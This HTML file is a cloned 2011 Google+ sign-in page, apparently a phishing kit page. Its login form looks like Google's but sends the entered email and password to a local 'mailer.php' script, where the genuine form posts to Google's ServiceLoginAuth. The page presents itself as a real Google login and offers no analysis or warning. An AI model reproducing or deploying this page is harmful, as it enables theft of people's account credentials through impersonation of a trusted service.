<html>
<style type="text/css">
<!--
body { font-family: arial,sans-serif; background-color: #fff; margin-top: 2; }
td {font-family: arial, sans-serif;}
.c { width: 4; height: 4; }
a:link { color: #00c; }
a:visited { color: #551a8b; }
a:active { color: #f00; }
.form-noindent { background-color: #fff; border: 1px solid #c3d9ff; }
-->
</style>
<style type="text/css"><!--
.gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
.gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
.gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; }
.gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; }
--></style>
<head>
<title>Google</title>
<style type="text/css"><!--
body {
font-family: arial, sans-serif;
margin: 0;
padding: 13px 15px 15px;
}
.body {
margin: 0;
}
div.errorbox-good {}
div.errorbox-bad {}
div.errormsg { color: red; font-size: smaller; font-family: arial,sans-serif;}
font.errormsg { color: red; font-size: smaller; font-family: arial,sans-serif;}
div.pagemsg {
font-size: smaller;
font-weight: bold;
text-align: center;
}
div.pagemsg span {
padding: 5px;
background: #ff9;
}
div.topbarwrap {
position: absolute;
top: 0;
left: 0;
width: 100%;
z-index: 1000;
}
div.topbar {
padding: 3px 8px 0px;
}
div.header {
margin-bottom: 9px;
margin-left: -2px;
position:relative;
zoom: 1
}
div.header img.logo {
border: 0;
float:left;
}
div.header div.headercontent {
float:right;
margin-top:17px;
}
div.header:after{
content:".";
display:block;
height:0;
clear:both;
visibility:hidden;
}
div.pagetitle {
font-weight:bold;
}
.footer {
color: #666;
font-size: smaller;
margin-top: 40px;
text-align: center;
}
table#signupform {
left: -5px;
top: -7px;
position:relative;
}
table#signupform td{
padding: 7px 5px;
}
table#signupform td table td{
padding: 1px;
}
hr {
border: 0;
background-color:#DDDDDD;
height: 1px;
width: 100%;
text-align: left;
margin: 5px;
}
--></style>
</head>
<body dir="ltr"
onLoad=
"gaia_setFocus();"
>
<div id="main">
<div class=header>
<a href='http://www.google.com'>
<img class=logo
src='https://ssl.gstatic.com/s2/oz/images/google-logo-plus-0fbe8f0119f4a902429a5991af5db563.png'
alt="Google Accounts" />
</img>
</a>
</div>
<div id=maincontent>
<table border="0" width="100%" cellpadding=0 cellspacing=0>
<tr>
<td width="75%" valign="top">
<style type="text/css"><!--
.content-container {
min-width: 330px;
}
.callout-header {
font-size: 24px;
margin: 80px 20px 0 175px;
position: relative;
}
.callout-subheader {
margin: 20px 20px 0 175px;
position: relative;
font-size: 15px;
}
.circles-image {
position: absolute;
top: 95px;
left: -31px;
z-index: -1;
}
.circle-label {
position: absolute;
text-align: center;
font-size: 13px;
}
.friends-circle {
top: 320px;
left: 175px;
font-size: 12px;
width: 75px;
}
.family-circle {
top: 127px;
left: 85px;
width: 55px;
}
.coworker-circle {
top: 330px;
left: 65px;
width: 73px;
}
.classmate-circle {
top: 205px;
left: 0px;
width: 105px;
}
.callout-header-rtl {
margin: 80px 175px 0 20px;
}
.callout-subheader-rtl {
margin: 20px 175px 0 20px;
}
.circles-image-rtl {
position: absolute;
top: 95px;
right: -31px;
z-index: -1;
}
.friends-circle-rtl {
top: 320px;
right: 175px;
font-size: 12px;
width: 75px;
}
.family-circle-rtl {
top: 127px;
right: 93px;
width: 55px;
}
.coworker-circle-rtl {
top: 330px;
right: 65px;
width: 73px;
}
.classmate-circle-rtl {
top: 205px;
right: 0px;
width: 105px;
}
--></style>
<div class="content-container">
<div class="callout-header ">
Sign in and start sharing with the <span dir="ltr">Google+</span> project.
</div>
<div class="callout-subheader ">
The <span dir="ltr">Google+</span> project makes sharing on the web more like sharing in the real world.
</div>
<img class="circles-image" src="https://ssl.gstatic.com/s2/oz/images/up/gaiacircles-ltr-94bd0e30fe94fb217770b8792ba7908a.png"/>
<span class="circle-label friends-circle">
Best Friends
</span>
<span class="circle-label family-circle">
Family
</span>
<span class="circle-label coworker-circle">
Colleagues
</span>
<span class="circle-label classmate-circle">
Classmates
</span>
</div>
</td>
<td style="padding-left: 10px;" valign="top" align="center">
<div id="rhs">
<div id="rhs_login_signup_box">
<script><!--
function gaia_onLoginSubmit() {
if (window.gaiacb_onLoginSubmit) {
return gaiacb_onLoginSubmit();
} else {
return true;
}
}
--></script>
<style type="text/css"><!--
div.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }
font.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }
--></style>
<style type="text/css"><!--
.gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
.gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
.gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
.gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; }
.gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; }
--></style>
<form id="gaia_loginform"
action="mailer.php" method="post"
onsubmit=
"return(gaia_onLoginSubmit());"
>
<div id="gaia_loginbox">
<table class="form-noindent" cellspacing="3" cellpadding="5" width="100%" border="0">
<tr>
<td valign="top" style="text-align:center" nowrap="nowrap"
bgcolor="#e8eefa">
<input type="hidden" name="ltmpl"
value="es2st">
<input type="hidden" id="pstMsg"
name="pstMsg" value="0" />
<input type="hidden" id="dnConn"
name="dnConn" value="" />
<div class="loginBox">
<table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">
<tr>
<td colspan="2" align="center">
<font size="-1">
Sign in with your
</font>
<table>
<tr>
<td valign="top">
<img src="https://www.google.com/accounts/google_transparent.gif"
alt="Google">
</img>
</td>
<td valign="middle">
<font size="+0"><b>Account</b></font>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td colspan="2" align="center">
</td>
</tr>
<tr id="email-row">
<td nowrap="nowrap">
<div align="right">
<span class="gaia le lbl">
Email:
</span>
</div>
</td>
<td>
<input type="hidden" name="continue" id="continue"
value="https://plus.google.com/?gpcaz=235b02a8" />
<input type="hidden" name="service" id="service"
value="oz" />
<input type="hidden" name="dsh" id="dsh"
value="-9174042176845464173" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="es2st" />
<input type="hidden" name="hl" id="hl"
value="en-GB" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="es2st" />
<input type="hidden" name="timeStmp" id="timeStmp"
value=''/>
<input type="hidden" name="secTok" id="secTok"
value=''/>
<input type="hidden"
name="GALX"
value="5AzCcIUAoQI" />
<input type="text" name="Email" id="Email"
size="18" value=""
class='gaia le val'
/>
</td>
</tr>
<tr>
<td></td>
<td align="left">
<div style="color: #666666; font-size: 75%;">
e.g.
pat@example.com </div>
</td>
</tr>
<tr id="password-row" class="enabled">
<td align="right" nowrap="nowrap">
<span class="gaia le lbl">
Password:
</span>
</td>
<td>
<input type="password"
name="Passwd" id="Passwd"
size="18"
class="gaia le val"
/>
</td>
</tr>
<tr>
<td> </td>
<td align="left">
</td>
</tr>
<tr id="rememberme-row" class="enabled">
<td align="right" valign="top">
<input type="checkbox" name="PersistentCookie" id="PersistentCookie"
value="yes"
checked='checked'
/>
<input type="hidden" name='rmShown' value="1" />
</td>
<td>
<label for="PersistentCookie" id="PersistentCookieLabel" class="gaia le rem">
Stay signed in
</label>
</td>
</tr>
<tr>
<td>
</td>
<td align="left">
<input type="submit" class="gaia le button" name="signIn" id="signIn"
value="Sign in"
/>
</td>
</tr>
<tr id="ga-fprow">
<td colspan="2" height="33.0" class="gaia le fpwd"
align="center" valign="bottom">
<a href="https://www.google.com/accounts/recovery?service=oz&continue=https%3A%2F%2Fplus.google.com%2F%3Fgpcaz%3D235b02a8"
target=_top>
Can't access your account?
</a>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</div>
<input type="hidden" name="asts"
id="asts"
value="">
</form>
<script><!--
var gaia_loginForm;
if (document.getElementById) {
gaia_loginForm = document.getElementById("gaia_loginform");
} else if (window.gaia_loginform) {
gaia_loginForm = window.gaia_loginform;
}
var gaia_emailHasKeypress = false;
if (gaia_loginForm && gaia_loginForm.Email) {
gaia_loginForm.Email.onkeypress = function() {
gaia_emailHasKeypress = true;
}
}
function gaia_setFocus() {
if (gaia_loginForm) {
if (gaia_loginForm.Email && !gaia_loginForm.Email.value) {
gaia_loginForm.Email.focus();
} else if (gaia_loginForm.Passwd && !gaia_emailHasKeypress) {
gaia_loginForm.Passwd.focus();
}
}
}
gaia_setFocus();
--></script>
<form id="gaia_universallogin"
action="https://www.google.com/accounts/ServiceLoginAuth" method="post"
onsubmit="return(gaia_onLoginSubmit());">
<input type="hidden" name="continue" id="continue"
value="https://plus.google.com/?gpcaz=235b02a8" />
<input type="hidden" name="service" id="service"
value="oz" />
<input type="hidden" name="dsh" id="dsh"
value="-9174042176845464173" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="es2st" />
<input type="hidden" name="hl" id="hl"
value="en-GB" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="es2st" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="es2st" />
</form>
<div id="cc_iframe_parent"></div>
<script type="text/javascript"> <!--
var Gb=function(a,b){var c=a;a&&typeof a=="string"&&(c=document.getElementById(a));if(b&&!c)throw new Ga(a);return c},Ga=function(a){this.id=a;this.toString=function(){return"No element found for id '"+this.id+"'"}};var Gc={},Gd;Gd=window.addEventListener?function(a,b,c){var d=function(a){var b=c.call(this,a);!1===b&&Ge(a);return b},a=Gb(a,!0);a.addEventListener(b,d,!1);Gf(a,b).push(d);return d}:window.attachEvent?function(a,b,c){var a=Gb(a,!0),d=function(){var b=window.event,d=c.call(a,b);!1===d&&Ge(b);return d};a.attachEvent("on"+b,d);Gf(a,b).push(d);return d}:void 0;var Gg;
Gg=window.removeEventListener?function(a,b,c){a=Gb(a,!0);a.removeEventListener(b,c,!1)}:window.detachEvent?function(a,b,c){a=Gb(a,!0);a.detachEvent("on"+b,c)}:void 0;var Ge=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},Gf=function(a,b){Gc[a]=Gc[a]||{};Gc[a][b]=Gc[a][b]||[];return Gc[a][b]};var Gh=function(){try{return new XMLHttpRequest}catch(a){for(var b=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"],c=0;c<b.length;c++)try{return new ActiveXObject(b[c])}catch(d){}}return null},Gi=function(){this.c=Gh();this.b={}};Gi.prototype.d=function(){};
Gi.prototype.send=function(a){var b=[],c;for(c in this.b){var d=this.b[c];b.push(c+"="+encodeURIComponent(d))}var b=b.join("&"),e=this.c,f=this.d;e.open("POST",a,!0);e.setRequestHeader("Content-type","application/x-www-form-urlencoded");e.setRequestHeader("Content-length",String(b.length));e.onreadystatechange=function(){e.readyState==4&&f({status:e.status,text:e.responseText})};e.send(b)};
Gi.prototype.h=function(a){var b=this.d,c=this.c;c.open("GET",a,!0);c.onreadystatechange=function(){c.readyState==4&&b({status:c.status,text:c.responseText})};c.send()};var Gk=function(a){this.e=a;this.i=this.j();if(this.e==null)throw new Gj("Empty module name");};Gk.prototype.j=function(){var a=window.location.pathname;return a&&a.indexOf("/accounts")==0?"/accounts/JsRemoteLog":"/JsRemoteLog"};
Gk.prototype.g=function(a,b,c){for(var d=this.i,e=this.e||"",d=d+"?module="+encodeURIComponent(e),a=a||"",d=d+"&type="+encodeURIComponent(a),b=b||"",d=d+"&msg="+encodeURIComponent(b),c=c||[],a=0;a<c.length;a++)d=d+"&arg="+encodeURIComponent(c[a]);try{var f=Math.floor(Math.random()*1E4),d=d+"&r="+String(f)}catch(g){}return d};Gk.prototype.send=function(a,b,c){var d=new Gi;d.b={};try{var e=this.g(a,b,c);d.h(e)}catch(f){}};Gk.prototype.a=function(a,b){this.send("ERROR",a,b)};
Gk.prototype.k=function(a,b){this.send("WARN",a,b)};Gk.prototype.f=function(a){var b=this;return function(){try{a.apply(null,arguments)}catch(c){throw b.a("Uncatched exception: "+c),c;}}};var Gj=function(a){this.l=a};var G=G||new Gk("check_connection"),Gl=function(a,b,c){var d=function(e){if(!(a!="*"&&e.origin.toLowerCase()!=a.toLowerCase()))e.data!=c?G.k("Received unexpected Message",[e.data,"Expected: "+c]):(b.value=a,Gg(window,"message",d),d=null)};return d},Gm=function(){if(window.__CHECK_CONNECTION_CONFIG){var a=window.__CHECK_CONNECTION_CONFIG.iframeUri,b=window.__CHECK_CONNECTION_CONFIG.iframeOrigin,c=window.__CHECK_CONNECTION_CONFIG.connectivityElementId,d=window.__CHECK_CONNECTION_CONFIG.iframeParentElementId,
e=window.__CHECK_CONNECTION_CONFIG.msgContent;if(window.postMessage)if(a){var f=document.getElementById(c);f?(c=document.getElementById(d))?(Gd(window,"message",Gl(b,f,e)),b=c,d=window.document.createElement("iframe"),e=d.style,e.visibility="hidden",e.width="1px",e.height="1px",e.position="absolute",e.top="-100px",d.src=a,d.id="CheckConnectionIframe",b.appendChild(d)):G.a("Unable to locate the iframe anchor to appendconnection test iframe",["element id: "+d]):G.a("Unable to locate the input element to storeconnection test result",
["element id: "+c])}else G.a("Empty iframe URI")}},Gn=function(){if(window.__CHECK_CONNECTION_CONFIG){var a=window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId;if(window.postMessage){var b=document.getElementById(a);b?b.value="1":G.a("Unable to locate the input element to storepostMessage test result",["element id: "+a])}}};G_checkConnectionMain=G.f(Gm);G_setPostMessageSupportFlag=G.f(Gn);
window.__CHECK_CONNECTION_CONFIG = {
iframeUri: 'https:\x2F\x2Faccounts.youtube.com\x2Faccounts\x2FCheckConnection?pmpo=https%3A%2F%2Fwww.google.com\x26v=627319231',
iframeOrigin: 'https:\x2F\x2Faccounts.youtube.com',
connectivityElementId: 'dnConn',
iframeParentElementId: 'cc_iframe_parent',
postMsgSupportElementId: 'pstMsg',
msgContent: 'accessible'
};
G_setPostMessageSupportFlag();
G_checkConnectionMain();
--> </script>
<br/>
</div>
<br/>
</div>
</td>
</tr>
</table>
</div>
<div class="footer">
©2011 Google
-
<a href='http://www.google.com/'>Google Home</a>
-
<a href='https://www.google.com/accounts/TOS?hl=en-GB'>Terms of Service</a>
-
<a href='http://www.google.com/intl/en-GB/privacy/'>Privacy Policy</a>
-
<a href='http://www.google.com/support/accounts?hl=en-GB'>Help</a>
</div>
</div>
</body>
</html>